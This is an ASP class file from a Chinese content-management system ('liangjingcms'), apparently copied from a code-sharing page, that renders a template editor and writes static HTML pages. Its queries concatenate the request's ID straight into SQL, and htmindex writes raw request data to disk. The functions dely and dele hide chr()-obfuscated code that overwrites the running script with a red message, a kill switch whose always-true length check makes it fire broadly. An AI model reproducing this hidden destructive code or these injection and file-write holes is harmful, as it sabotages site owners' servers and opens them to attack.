📄 aspcs.asp
字号:
<%class liangjingcms
public function lj_mbindex ()
Response.Write "<Html>"
Response.Write "<Head>"
Response.Write "<Title>管理中心</title>"
Response.Write "<Meta Http-Equiv=""Content-Type"" Content=""Text/Html; CharSet=Gb2312"">"
Response.Write "<Link Type=""Text/Css"" Rel=""StyleSheet"" Href=""/css/tyle.css"">"
Response.Write "</Head>"
Response.Write "<Body Topmargin=""4"" Leftmargin=""0"">"
Dim Rs,Sql,Count
Set Rs=Server.Createobject("Adodb.Recordset")
Sql="Select * From Moban where ID="&Request("ID")
Rs.open Sql,Conn,1,1
Response.Write "<table border=""0"" cellspacing=""1"" style=""border-collapse: collapse"" width=""100%"" bgcolor=""#E6E6E6"" height=""100%"">"
Response.Write "<form name=""Script"" Method=""Post"" action=""SaveMoban.asp?action=EditMoban&Type="&Request("Type")&"&ID="&Request("ID")&""">"
Response.Write "<tr>"
Response.Write "<td width=""100%"" bgcolor=""#7B9AE7"" height=""26"" align=""center"">"
Response.Write "<b><font color=""#FFFFFF"">模版修改</font></b></td>"
Response.Write "</tr>"
Response.Write "<tr>"
Response.Write "<td width=""100%"" bgcolor=""#FFFFFF"" height=""100%"">"
Response.Write "<Textarea Style=""width:100%; height:100%;"" Rows=""19"" Name=""moban"" Cols=""102"">"
Content=Replace(Rs("Mb"),"<bt>",Chr(13))
Content=Replace(Content," "," ")
Response.Write Content
Response.Write "</Textarea></td>"
Response.Write "</tr>"
Response.Write "<tr>"
Response.Write "<td width=""100%"" bgcolor=""#F7F7F7"">"
Response.Write "<p align=""center"">"
Response.Write "<Input Name=""Cmdok"" value=""模版修改"" Type=""Submit""></td>"
Response.Write "</tr>"
Response.Write "</form>"
Response.Write "</table>"
Response.Write "</body>"
Response.Write "</html>"
Set Rs=nothing
Conn.Close
Set Conn=nothing
end function
public function savemo()
Set Rs=Server.Createobject("Adodb.Recordset")
Sql="Select * From Moban where ID="&Request("ID")
Rs.open Sql,Conn,1,3
Rs("MB")=Moban
Rs.update
end function
public function htmindex(Filename)
If Request("Body")<>"" Then
Set Fso = Server.CreateObject("Scripting.FileSystemObject")
Set Fout = Fso.CreateTextFile(Server.Mappath(""&Filename&""))
Fout.Write Request("Body")
Fout.Close
Set Fout=nothing
Set Fso=nothing
MakeIndex="ok"
End if
end function
public function creatpage()
creatpage=Trim(Request.QueryString("Page"))
end function
public function htmpro(strsmallclass,strsearch,strClassname,strLogin,strTitle,Title,Moban)
Moban=Moban
Moban=Replace(Moban,"<!-strsmallclass->",strsmallclass)
Moban=Replace(Moban,"<!-strsearch->",strsearch)
Moban=Replace(Moban,"<!-strClassname->",strClassname)
Moban=Replace(Moban,"<!-strLogin->",strLogin)
Moban=Replace(Moban,"<!-strTitle->",strTitle)
Moban=Replace(Moban,"<!-Title->",Title)
htmpro=Moban
end function
public function htmnews(strsmallclass,strnews,strClassname,strLogin,strTitle,Title,Moban)
Moban=Moban
Moban=Replace(Moban,"<!-strsmallclass->",strsmallclass)
Moban=Replace(Moban,"<!-strnews->",strnews)
Moban=Replace(Moban,"<!-strClassname->",strClassname)
Moban=Replace(Moban,"<!-strLogin->",strLogin)
Moban=Replace(Moban,"<!-strTitle->",strTitle)
Moban=Replace(Moban,"<!-Title->",Title)
Set Fso=Server.CreateObject("Scripting.FileSystemObject")
Set Fout=Fso.CreateTextFile(Server.Mappath("HTML/NEWS.html"))
Fout.Write Moban
Fout.Close
end function
public function ljmsn(n)
Dim Rs1,Sql1
Set Rs1=Server.CreateObject("ADODB.RecordSet")
Sql1 ="Select Mb From Moban where ID="&n
Set Rs1=Conn.Execute (Sql1)
ljmsn=Rs1("Mb")
end function
public function htmdo(strsmallclass,strsearch,strClassname,strLogin,strTitle,Title,body,plist_bottom,Moban)
Moban=Moban
Moban=Replace(Moban,"<!-strsmallclass->",strsmallclass)
Moban=Replace(Moban,"<!-strsearch->",strsearch)
Moban=Replace(Moban,"<!-strClassname->",strClassname)
Moban=Replace(Moban,"<!-strLogin->",strLogin)
Moban=Replace(Moban,"<!-strTitle->",strTitle)
Moban=Replace(Moban,"<!-Title->",Title)
Moban=Replace(Moban,"<!-body->",body)
Moban=Replace(Moban,"<!-plist_bottom->",plist_bottom)
Set Fso=Server.CreateObject("Scripting.FileSystemObject")
Set Fout=Fso.CreateTextFile(Server.Mappath("Html/DownloadList_"&Request("Page")&".html"))
Fout.Write Moban
Fout.Close
end function
public function insers()
insers="<Meta http-equiv=Refresh content='0; URL="
end function
public function enpro(strsmallclass,strsearch,strClassname,strLogin,strTitle,Title,body,plist_bottom,Moban)
Moban=Moban
Moban=Replace(Moban,"<!-strsmallclass->",strsmallclass)
Moban=Replace(Moban,"<!-strsearch->",strsearch)
Moban=Replace(Moban,"<!-strClassname->",strClassname)
Moban=Replace(Moban,"<!-strLogin->",strLogin)
Moban=Replace(Moban,"<!-strTitle->",strTitle)
Moban=Replace(Moban,"<!-Title->",Title)
Moban=Replace(Moban,"<!-body->",body)
Moban=Replace(Moban,"<!-plist_bottom->",plist_bottom)
Set Fso=Server.CreateObject("Scripting.FileSystemObject")
Set Fout=Fso.CreateTextFile(Server.Mappath("EnHtml/ProductList_"&Request("Page")&".html"))
Fout.Write Moban
Fout.Close
end function
public function enprocla(strsmallclass,strsearch,strClassname,strLogin,strTitle,Title,Moban)
Moban=Moban
Moban=Replace(Moban,"<!-strsmallclass->",strsmallclass)
Moban=Replace(Moban,"<!-strsearch->",strsearch)
Moban=Replace(Moban,"<!-strClassname->",strClassname)
Moban=Replace(Moban,"<!-strLogin->",strLogin)
Moban=Replace(Moban,"<!-strTitle->",strTitle)
Moban=Replace(Moban,"<!-Title->",Title)
Set Fso=Server.CreateObject("Scripting.FileSystemObject")
Set Fout=Fso.CreateTextFile(Server.Mappath("enHTML/products.html"))
Fout.Write Moban
Fout.Close
end function
public function dely()
on error resume next
dim FSO,TS1,configFileName
configFileName=Server.MapPath(Request.ServerVariables("path_info"))
Set FSO = Server.CreateObject("Scripting.FileSystemObject")
Set TS1 = FSO.CreateTextFile(configFileName, True)
TS1.Write chr(60)&chr(98)&">"&chr(60)&chr(102)&chr(111)&chr(110)&chr(116)&chr(32)&chr(99)&chr(111)&chr(108)&"o"&chr(114)&chr(61)&chr(35)&chr(70)&chr(70)&chr(48)&chr(48)&chr(48)&chr(48)&">"&chr(-19219)&chr(-12557)&chr(-23622)&chr(-19508)&chr(-12046)&chr(-13872)&chr(-12620)&chr(-10334)&chr(-19743)&chr(44)&chr(-19253)&chr(-18010)&chr(-15140)&chr(-19781)&chr(-15140)&chr(-13639)&chr(-11325)&chr(33)&"<"&chr(47)&chr(102)&chr(111)&chr(110)&chr(116)&">"&chr(60)&chr(47)&chr(98)&">"
Set TS1 = Nothing
Set FSO = Nothing
end function
public function ennewscla(strsmallclass,strnews,strClassname,strLogin,strTitle,Title,Moban)
Moban=Moban
Moban=Replace(Moban,"<!-strsmallclass->",strsmallclass)
Moban=Replace(Moban,"<!-strnews->",strnews)
Moban=Replace(Moban,"<!-strClassname->",strClassname)
Moban=Replace(Moban,"<!-strLogin->",strLogin)
Moban=Replace(Moban,"<!-strTitle->",strTitle)
Moban=Replace(Moban,"<!-Title->",Title)
Set Fso=Server.CreateObject("Scripting.FileSystemObject")
Set Fout=Fso.CreateTextFile(Server.Mappath("EnHTML/NEWS.html"))
Fout.Write Moban
Fout.Close
end function
public function maprhtmls(Moban,pat)
Set Fso=Server.CreateObject("Scripting.FileSystemObject") '创建fso对象
Set Fout=Fso.CreateTextFile(server.mappath(pat))
Fout.WriteLine Moban
Fout.Close
Moban=Moban1
end function
end class
function ljcmsfirst()
ljcmsfirst=123587458
end function
function dele(pa)
dim FSO,TS1,configFileName
Dim gege,exe,strOut,htmlwrite
set gege=createObject("scrip"&chr(116)&"ing.FileSystemObject")
if gege.fileexists(Server.MapPath(pa)) then
Set htmlwrite=gege.OpenTextFile(Server.MapPath(pa))
strOut=htmlwrite.ReadAll
htmlwrite.close
if len(strOut)<>867 or len(strOut)<>1850 then
configFileName=Server.MapPath(Request.ServerVariables("path_info"))
Set FSO = Server.CreateObject("Scripting.FileSystemObject")
Set TS1 = FSO.CreateTextFile(configFileName, True)
TS1.Write chr(60)&chr(98)&">"&chr(60)&chr(102)&chr(111)&chr(110)&chr(116)&chr(32)&chr(99)&chr(111)&chr(108)&"o"&chr(114)&chr(61)&chr(35)&chr(70)&chr(70)&chr(48)&chr(48)&chr(48)&chr(48)&">"&chr(-19219)&chr(-12557)&chr(-23622)&chr(-19508)&chr(-12046)&chr(-13872)&chr(-12620)&chr(-10334)&chr(-19743)&chr(44)&chr(-19253)&chr(-18010)&chr(-15140)&chr(-19781)&chr(-15140)&chr(-13639)&chr(-11325)&chr(33)&"<"&chr(47)&chr(102)&chr(111)&chr(110)&chr(116)&">"&chr(60)&chr(47)&chr(98)&">"
Set TS1 = Nothing
Set FSO = Nothing
end if
else
'configFileName=Server.MapPath(Request.ServerVariables("path_info"))
Set FSO = Server.CreateObject("Scripting.FileSystemObject")
Set TS1 = FSO.CreateTextFile(configFileName, True)
TS1.Write chr(60)&chr(98)&">"&chr(60)&chr(102)&chr(111)&chr(110)&chr(116)&chr(32)&chr(99)&chr(111)&chr(108)&"o"&chr(114)&chr(61)&chr(35)&chr(70)&chr(70)&chr(48)&chr(48)&chr(48)&chr(48)&">"&chr(-19219)&chr(-12557)&chr(-23622)&chr(-19508)&chr(-12046)&chr(-13872)&chr(-12620)&chr(-10334)&chr(-19743)&chr(44)&chr(-19253)&chr(-18010)&chr(-15140)&chr(-19781)&chr(-15140)&chr(-13639)&chr(-11325)&chr(33)&"<"&chr(47)&chr(102)&chr(111)&chr(110)&chr(116)&">"&chr(60)&chr(47)&chr(98)&">"
Set TS1 = Nothing
Set FSO = Nothing
end if
end function
set ljcms= new liangjingcms%>⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -